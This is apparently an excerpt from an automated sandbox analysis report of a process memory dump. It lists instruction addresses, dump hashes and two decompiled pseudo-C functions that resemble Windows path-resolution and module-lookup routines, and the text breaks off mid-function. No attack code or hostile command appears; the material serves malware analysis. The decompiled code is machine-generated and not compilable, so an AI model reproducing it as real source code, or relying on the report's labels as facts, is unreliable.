0x02df5fce
0x02df5fd4
0x02df5fdc
0x02df5fec
0x02df5fed
0x02df5fee
0x02df5fef
0x02df5ff9
0x02df5ffa
0x02df5ffb
0x02df5ffc
0x02df6000
0x02df6004
0x02df6012
0x02df6012
0x02df6018
0x02df6019
0x02df601a
0x02df601b
0x02df601c
0x02df6020
0x02df6059
0x02df605c
0x02df6061
0x02df6061
0x02df6022
0x02df6022
0x02df6022
0x02df6025
0x02df602a
0x02df602b
0x02df6031
0x02df6037
0x02df6038
0x02df603e
0x02df6048
0x02df6049
0x02df604a
0x02df604b
0x02df604c
0x02df604d
0x02df6053
0x02df6054
0x02df6054
0x02df6062
0x02df6065
0x02df6067
0x02df606a
0x02df6070
0x02df6075
0x02df6076
0x02df6081
0x02df6087
0x02df6095
0x02df6099
0x02df609e
0x02df60a4
0x02df60ae
0x02df60b0
0x02df60b3
0x02df60b6
0x02df60b8
0x02df60ba
0x02df60ba
0x02df60ba
0x02df60ba
0x02df60be
0x02df60c0
0x02df60c5
0x02df60c5
0x02df60c5
0x02df60c6
0x02df60cd
0x02df6114
0x02df60cf
0x02df60cf
0x02df60d4
0x02df60d5
0x02df60da
0x02df60db
0x02df60e1
0x02df60e2
0x02df60e8
0x02df60f8
0x02df60fd
0x02df60fe
0x02df6102
0x02df6104
0x02df6107
0x02df6109
0x02df610b
0x02df610b
0x02df610b
0x02df610b
0x02df610f
0x02df610f
0x02df6117
0x02df611a
0x02df611f
0x02df6125
0x02df6134
0x02df6139
0x02df613f
0x02df6146
0x02df6148
0x02df614b
0x02df614d
0x02df614f
0x02df614f
0x02df614f
0x02df614f
0x02df6153
0x02df6159
0x02df6159
0x02df615c
0x02df6163
0x02df6169
0x02df616c
0x02df6172
0x02df6181
0x02df6186
0x02df6187
0x02df618b
0x02df6191
0x02df6195
0x02df61a3
0x02df61bb
0x02df61c0
0x02df61c3
0x02df61cc
0x02df61d0
0x02df61dc
0x02df61de
0x02df61e1
0x02df61e4
0x02df61e6
0x02df61e8
0x02df61e8
0x02df61e8
0x02df61e8
0x02df61e6
0x02df61ec
0x02df61f3
0x02df6203
0x02df6209
0x02df620a
0x02df6216
0x02df621d
0x02df6227
0x02df6241
0x02df6246
0x02df624c
0x02df6257
0x02df6259
0x02df625c
0x02df625e
0x02df6260
0x02df6260
0x02df6260
0x02df6260
0x02df625e
0x02df6264
0x02df6267
0x02df6269
0x02df6315
0x02df6315
0x02df631b
0x02df631e
0x02df6324
0x02df6327
0x02df632f
0x02df6330
0x02df6333
0x02df633a
0x02df633c
0x02df6335
0x02df6335
0x02df6335
0x02df633f
0x02df6342
0x02df634c
0x02df6352
0x02df6355
0x02df6355
0x02df6359
0x00000000
0x02df626f
0x02df6275
0x02df6275
0x02df6278
0x02df627e
0x02df627e
0x02df6281
0x02df6287
0x02df628d
0x02df6298
0x02df629c
0x02df62a2
0x02df629e
0x02df629e
0x02df629e
0x02df62a7
0x02df62a7
0x02df62aa
0x02df62b0
0x02df62f0
0x02df62f0
0x02df62f2
0x02df62f8
0x02df62fd
0x02df62b2
0x02df62b2
0x02df62b2
0x02df62b5
0x02df62dd
0x02df62e2
0x02df62e5
0x02df62b7
0x02df62b8
0x02df62bb
0x02df62bd
0x02df62c0
0x02df62c4
0x02df62cd
0x02df62cd
0x02df62c0
0x02df62bb
0x02df62b5
0x02df6302
0x02df6303
0x02df6305
0x02df6305
0x02df6305
0x02df630c
0x02df630c
0x00000000
0x02df627e
0x02df6269
0x02df5eac
0x02df5ebb
0x02df5ebe
0x02df5ecb
0x02df5ecb
0x02df5ece
0x02df5ece
0x02df5ed4
0x02df5ed7
0x02df5ed9
0x02df5edb
0x02df5edb
0x02df5ee1
0x02df5ee1
0x02df5ee3
0x02df5f20
0x02df5f20
0x02df5ee5
0x02df5ee5
0x02df5ee5
0x02df5ee8
0x02df5f11
0x02df5f18
0x02df5eea
0x02df5eea
0x02df5eed
0x02df5ef2
0x02df5ef8
0x02df5efb
0x02df5f0a
0x02df5f0a
0x02df5eed
0x02df5ee8
0x02df5f22
0x02df5f28
0x00000000
0x00000000
0x02df5f30
0x02df5f31
0x02df5f37
0x02df5f3a
0x02df5f3d
0x02df5f44
0x00000000
0x00000000
0x00000000
0x02df5f46
0x02df5f48
0x02df5f4d
0x00000000
0x02df5f4d
0x02df5dda
0x02df5ddf
0x00000000
0x02df5ddf
0x02df5dd8
0x02df5da7
0x02df5da9
0x02df5dac
0x02df5dae
0x00000000
0x02df5db4
0x02df5db4
0x00000000
0x02df5db4
0x02df5dae
0x02df5d88
0x02df5d8d
0x02df6363
0x02df6369
0x02df636a
0x02df6370
0x02df6372
0x02df637a
0x02df637b
0x02df637d
0x00000000
0x00000000
0x02df637f
0x02df6385
0x00000000
0x02df6385
0x02df5d38
0x02df5d3b
0x00000000
0x00000000
0x00000000
0x02df5d3b
0x02df5d27
0x02df5d29
0x00000000
0x00000000
0x00000000
0x02df6360
0x00000000
0x02df6360
0x02df5c10
0x02df5c10
0x02df63da
0x02df63e5
0x02df63e5

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53b948733005fe692669819066100c444658cd2a3f50b4a12e1f1c48559301ea
Instruction ID: 276207e109bdab5ddc9156489f8c78590d6db65269f623dbe2f7bd5fb12c6d97
Opcode Fuzzy Hash: 53b948733005fe692669819066100c444658cd2a3f50b4a12e1f1c48559301ea
Instruction Fuzzy Hash: 91426A71900229CFDB60CF68C880BA9B7B5FF45304F1681AADA5DAB342E7359D85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02D44120, Relevance: .4, Instructions: 444
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E02D44120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
				signed int _v8;
				void* _v20;
				signed int _v24;
				char _v532;
				char _v540;
				signed short _v544;
				signed int _v548;
				signed short* _v552;
				signed short _v556;
				signed short* _v560;
				signed short* _v564;
				signed short* _v568;
				void* _v570;
				signed short* _v572;
				signed short _v576;
				signed int _v580;
				char _v581;
				void* _v584;
				unsigned int _v588;
				signed short* _v592;
				void* _v597;
				void* _v600;
				void* _v604;
				void* _v609;
				void* _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t161;
				signed int _t162;
				unsigned int _t163;
				void* _t169;
				signed short _t173;
				signed short _t177;
				signed short _t181;
				unsigned int _t182;
				signed int _t185;
				signed int _t213;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				signed short* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				signed short* _t260;
				signed short _t265;
				signed short* _t269;
				signed short _t271;
				signed short** _t272;
				signed short* _t275;
				signed short _t282;
				signed short _t283;
				signed short _t290;
				signed short _t299;
				signed short _t307;
				signed int _t308;
				signed short _t311;
				signed short* _t315;
				signed short _t316;
				void* _t317;
				void* _t319;
				signed short* _t321;
				void* _t322;
				void* _t323;
				unsigned int _t324;
				signed int _t325;
				void* _t326;
				signed int _t327;
				signed int _t329;

				_t329 = (_t327 & 0xfffffff8) - 0x24c;
				_v8 =  *0x2e1d360 ^ _t329;
				_t157 = _a8;
				_t321 = _a4;
				_t315 = __edx;
				_v548 = __ecx;
				_t305 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *__edx <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t315;
						_v552 = _t315[2];
						_t161 = E02D5F232( &_v556);
						_t316 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t306 = 0x208;
						_t298 = _t315;
						_t316 = E02D46E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t316 == 0) {
							L68:
							_t322 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t316 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = L02D44620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_t298 = _v564;
											_v588 = _t316;
											_t306 = _t316;
											_t316 = E02D46E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
											if(_t316 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t316;
									 *((short*)(_t329 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t316 < 2) {
										L11:
										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
											_t161 = 5;
										} else {
											if(_t316 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 = _t254[2] & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t316 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 = _t254[1] & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t316 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 = _t254[2] & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t316 < 8) {
																L85:
																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 = _t254[3] & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M02D445F8))) {
												case 0:
													_v568 = 0x2d01078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0x2d011c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t306 =  *_v568 & 0x0000ffff;
									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t322 = 0xc0000106;
									} else {
										if(_t321 != 0) {
											if(_t265 > (_t321[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t322 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t306;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t321) {
												_t322 = 0xc000000d;
											} else {
												L23:
												_t173 = L02D44620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
												_t269 = _v592;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t322 = 0xc0000017;
												} else {
													_t316 = _v556;
													 *_t269 = 0;
													_t321 = _t269;
													_t269[1] = _v576;
													_t177 =  *_v568 & 0x0000ffff;
													L25:
													_v580 = _t177;
													if(_t177 == 0) {
														L29:
														_t307 =  *_t321 & 0x0000ffff;
													} else {
														_t290 =  *_t321 & 0x0000ffff;
														_v576 = _t290;
														_t310 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
															_t307 =  *_t321 & 0xffff;
														} else {
															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
															E02D6F720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
															_t329 = _t329 + 0xc;
															_t311 = _v580;
															_t225 =  *_t321 + _t311 & 0x0000ffff;
															 *_t321 = _t225;
															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v556 - _v588 + _v588;
													_v580 = _t307;
													_v576 = _t271;
													if(_t271 != 0) {
														_t308 = _t271 & 0x0000ffff;
														_v588 = _t308;
														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
															E02D6F720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
															_t329 = _t329 + 0xc;
															_t213 =  *_t321 + _v576 & 0x0000ffff;
															 *_t321 = _t213;
															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v560;
													if(_t272 != 0) {
														 *_t272 = _t321;
													}
													_t306 = 0;
													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v572;
													if(_t275 != 0) {
														_t306 =  *_t275;
														if(_t306 != 0) {
															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
														}
													}
													_t181 = _v544;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v540 == 5) {
															_t182 = E02D252A5(1);
															_v588 = _t182;
															if(_t182 == 0) {
																E02D3EB70(1, 0x2e179a0);
																goto L38;
															} else {
																_v560 = _t182 + 0xc;
																_t185 = E02D3AA20( &_v556, _t182 + 0xc,  &_v556, 1);
																if(_t185 == 0) {
																	_t324 = _v588;
																	goto L97;
																} else {
																	_t306 = _v544;
																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
																	 *(_t306 + 4) = _t282;
																	_v576 = _t282;
																	_t325 = _t316 -  *_v560 & 0x0000ffff;
																	 *_t306 = _t325;
																	if( *_t282 == 0x5c) {
																		_t149 = _t325 - 2; // -2
																		_t283 = _t149;
																		 *_t306 = _t283;
																		 *(_t306 + 4) = _v576 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t324 = _v588;
																	 *(_t306 + 2) = _t185;
																	if((_v548 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t324 + 4)));
																			E02D695D0();
																			L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
																		}
																	} else {
																		 *(_t306 + 0xc) = _t324;
																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t322 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
									}
									_t169 = _t322;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t317);
					_pop(_t323);
					_pop(_t255);
					return E02D6B640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
				} else {
					_t299 = __edx[2];
					if( *_t299 == 0x5c) {
						_t256 =  *(_t299 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = E02D63D43(_t315, _t321, _t157, _v560, _v572, _t305);
								_pop(_t319);
								_pop(_t326);
								_pop(_t257);
								return E02D6B640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}

0x02d44128
0x02d44135
0x02d4413c
0x02d44141
0x02d44145
0x02d44147
0x02d4414e
0x02d44151
0x02d44159
0x02d4415c
0x02d44160
0x02d44164
0x02d44168
0x02d4416c
0x02d4417f
0x02d44181
0x02d4446a
0x02d4446a
0x02d4418c
0x02d44195
0x02d44199
0x02d44432
0x02d44439
0x02d4443d
0x02d44442
0x02d44447
0x00000000
0x02d4419f
0x02d441a3
0x02d441b1
0x02d441b9
0x02d441bd
0x02d445db
0x02d445db
0x00000000
0x02d441c3
0x02d441c3
0x02d441ce
0x02d441d4
0x02d8e138
0x02d8e13e
0x02d8e169
0x02d8e16d
0x02d8e19e
0x02d8e16f
0x02d8e16f
0x02d8e175
0x02d8e179
0x02d8e18f
0x02d8e193
0x00000000
0x02d8e199
0x00000000
0x02d8e199
0x02d8e193
0x00000000
0x00000000
0x00000000
0x02d441da
0x02d441da
0x02d441df
0x02d441e4
0x02d441ec
0x02d44203
0x02d44207
0x02d8e1fd
0x02d44222
0x02d44226
0x02d8e1f3
0x02d8e1f3
0x02d4422c
0x02d4422c
0x02d44233
0x02d8e1ed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x02d44239
0x02d44239
0x02d44239
0x02d44239
0x02d44233
0x02d44226
0x02d441ee
0x02d441ee
0x02d441f4
0x02d44575
0x02d8e1b1
0x02d8e1b1
0x00000000
0x02d4457b
0x02d4457b
0x02d44582
0x02d8e1ab
0x00000000
0x00000000
0x00000000
0x00000000
0x02d44588
0x02d44588
0x02d4458c
0x02d8e1c4
0x02d8e1c4
0x00000000
0x02d44592
0x02d44592
0x02d44599
0x02d8e1be
0x00000000
0x00000000
0x00000000
0x00000000
0x02d4459f
0x02d4459f
0x02d445a3
0x02d8e1d7
0x02d8e1e4
0x00000000
0x02d445a9
0x02d445a9
0x02d445b0
0x02d8e1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x02d445b6
0x02d445b6
0x02d445b6
0x00000000
0x02d445b6
0x02d445b0
0x02d445a3
0x02d44599
0x02d4458c
0x02d44582
0x00000000
0x00000000
0x00000000
0x00000000
0x02d441f4
0x02d4423e
0x02d44241
0x02d445c0
0x02d445c4
0x00000000
0x02d445ca
0x02d445ca
0x00000000
0x02d8e207
0x02d8e20f
0x00000000
0x00000000
0x00000000
0x00000000
0x02d445d1
0x00000000
0x00000000
0x02d445ca
0x00000000
0x02d44247
0x02d44247
0x02d44247
0x02d44249
0x02d44249
0x02d44249
0x02d44251
0x02d44251
0x02d44257
0x02d4425f
0x02d4426e
0x02d44270
0x02d4427a
0x02d8e219
0x02d8e219
0x02d44280
0x02d44282
0x02d44456
0x02d445ea
0x00000000
0x02d445f0
0x02d8e223
0x00000000
0x02d8e223
0x02d4445c
0x02d4445c
0x00000000
0x02d4445c
0x00000000
0x02d44288
0x02d4428c
0x02d8e298
0x02d44292
0x02d44292
0x02d4429e
0x02d442a3
0x02d442a7
0x02d442ac
0x02d8e22d
0x02d442b2
0x02d442b2
0x02d442b9
0x02d442bc
0x02d442c2
0x02d442ca
0x02d442cd
0x02d442cd
0x02d442d4
0x02d4433f
0x02d4433f
0x02d442d6
0x02d442d6
0x02d442d9
0x02d442dd
0x02d442eb
0x02d8e23a
0x02d442f1
0x02d44305
0x02d4430d
0x02d44315
0x02d44318
0x02d4431f
0x02d44322
0x02d4432e
0x02d4433b
0x02d4433b
0x00000000
0x02d4432e
0x02d442eb
0x02d4434c
0x02d4434e
0x02d44352
0x02d44359
0x02d4435e
0x02d44361
0x02d4436e
0x02d4438a
0x02d4438e
0x02d44396
0x02d4439e
0x02d443a1
0x02d443ad
0x02d443bb
0x02d443bb
0x02d443ad
0x02d4436e
0x02d443bf
0x02d443c5
0x02d44463
0x02d44463
0x02d443ce
0x02d443d5
0x02d443d9
0x02d443df
0x02d44475
0x02d44479
0x02d44491
0x02d44491
0x02d44479
0x02d443e5
0x02d443eb
0x02d443f4
0x02d443f6
0x02d443f9
0x02d443fc
0x02d443ff
0x02d444e8
0x02d444ed
0x02d444f3
0x02d8e247
0x00000000
0x02d444f9
0x02d44504
0x02d44508
0x02d4450f
0x02d8e269
0x00000000
0x02d44515
0x02d44519
0x02d44531
0x02d44534
0x02d44537
0x02d4453e
0x02d44541
0x02d4454a
0x02d8e255
0x02d8e255
0x02d8e25b
0x02d8e25e
0x02d8e261
0x02d8e261
0x02d44555
0x02d44559
0x02d4455d
0x02d8e26d
0x02d8e270
0x02d8e274
0x02d8e27a
0x02d8e27d
0x02d8e28e
0x02d8e28e
0x02d44563
0x02d44563
0x02d44569
0x02d44569
0x00000000
0x02d4455d
0x02d4450f
0x00000000
0x02d444f3
0x02d443ff
0x02d44405
0x02d44405
0x02d44405
0x02d442ac
0x02d4428c
0x02d44282
0x02d44407
0x02d4440d
0x02d8e2af
0x02d8e2af
0x02d44413
0x02d44413
0x00000000
0x02d441d4
0x00000000
0x02d441c3
0x02d441bd
0x02d44415
0x02d44415
0x02d44416
0x02d44417
0x02d44429
0x02d4416e
0x02d4416e
0x02d44175
0x02d44498
0x02d4449f
0x02d8e12d
0x00000000
0x02d8e133
0x00000000
0x02d8e133
0x02d444a5
0x02d444a5
0x02d444aa
0x00000000
0x02d444bb
0x02d444ca
0x02d444d6
0x02d444d7
0x02d444d8
0x02d444e3
0x02d444e3
0x02d444aa
0x02d4417b
0x02d4417b
0x02d4417b
0x00000000
0x02d4417b
0x02d44175
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71596e38341d2556fe3bbf088b3b3456643d375ae852b9ca1f937bbbcfcea338
Instruction ID: b3428af4f96b27bfaba3197cfb7f82b5104cf4cbcdec002c1f56ed849232858d
Opcode Fuzzy Hash: 71596e38341d2556fe3bbf088b3b3456643d375ae852b9ca1f937bbbcfcea338
Instruction Fuzzy Hash: AFF15A706082518BC724DF59C494B3AB7E1EF88758F54892EF88ACB390EB74DC95CB52

Uniqueness

Uniqueness Score: -1.00%

Function 02D3D5E0, Relevance: .4, Instructions: 353
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E02D3D5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
				signed int _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				signed int _t206;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				intOrPtr _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				unsigned int _t297;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				intOrPtr _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				intOrPtr* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t361;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0x2e1d360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = E02D36600(0x2e152d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0x2e17b9c; // 0x0
							_t281 = L02D44620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E02D6F3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0x2e17b90; // 0x770b0000
								if(_t384 == 0) {
									_t353 =  *0x2e17b8c; // 0x2e1d40
									_v176 = _t353;
									_t63 = _t353 + 0x50; // 0x2e3f68
									_t64 =  *_t63 + 0x20; // 0x9
									_t320 =  *_t64;
									_v184 = _t320;
								} else {
									E02D42280(_t200, 0x2e184d8);
									_t277 =  *0x2e185f4; // 0x2e2518
									_t351 =  *0x2e185f8 & 1;
									while(_t277 != 0) {
										_t21 = _t277 - 0x50; // 0x749e0000
										_t337 =  *_t21;
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t23 = _t277 - 0x18; // 0x2e2560
													_t340 =  *_t23;
													_t24 = _t277 - 0x68; // 0x2e24b0
													_t353 = _t24;
													_v176 = _t353;
													__eflags =  *((intOrPtr*)(_t340 + 0xc)) - 0xffffffff;
													if( *((intOrPtr*)(_t340 + 0xc)) != 0xffffffff) {
														_t279 =  *_t340;
														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t30 = _t353 + 0x50; // 0x2e2560
															_t340 =  *_t30;
														}
													}
													_t31 = _t340 + 0x20; // 0x9
													_v184 =  *_t31;
												}
											} else {
												_t22 = _t277 + 4; // 0x2e2d78
												_t339 =  *_t22;
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									E02D3FFB0(_t287, _t353, 0x2e184d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E02D7CC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = E02D36600(0x2e152d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E02D37926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0x2e1b239 != 0) {
														_t342 =  *(_t353 + 0x18);
